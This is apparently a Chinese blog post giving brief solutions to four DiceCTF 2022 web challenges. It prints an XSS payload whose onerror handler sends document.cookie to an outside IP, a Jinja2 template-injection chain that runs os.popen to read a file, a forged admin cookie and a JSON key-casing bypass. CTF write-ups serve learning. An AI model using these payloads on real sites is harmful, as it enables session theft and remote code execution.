diceCTF2022 部分wp

[diceCTF2022]pastebin

https://www.freebuf.com/articles/web/245097.html

就是说呢,img一个标签符也可以自己闭合

payload

paste=<img src="x" onerror=window.open('http://8.129.42.140:3307?'%2Bdocument.cookie)

image-20220723162140780

[diceCTF2022]reverser

脚本

payload='''{{{}.__class__.__bases__[0].__subclasses__()[59].__init__}}'''
payload='''{{{}.__class__.__bases__[0].__subclasses__()[183].__init__.__globals__.__builtins__.__import__('os').popen('cat flag-43c12348-618d-4654-9a53-efec91bc851c.txt').read()}}'''

print(payload[::-1])

最终Payload

}})(daer.)'di'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.__tini__.]381[)(__sessalcbus__.]0[__sesab__.__ssalc__.}{{{

ls后发现flag在flag-43c12348-618d-4654-9a53-efec91bc851c.txt,然后读就可以

[diceCTF2022]secure-page

改cookie为admin=true

[diceCTF2022]point

image-20220723171738120

这个结构体,左边是属性在go中的键名,右边是在json中的键名,就是有多种建名

if whatpoint.Whatpoint == "that_point" {
                fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
                return

意思是让结构体whatpoint的Whatpoint这个键对应的值从what_point变成that_point。

通过这个err = json.Unmarshal(body, &whatpoint)

json转struct,必须要大写首字母-》刚好绕过了过滤

payload

{"What_point":"that_point"}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇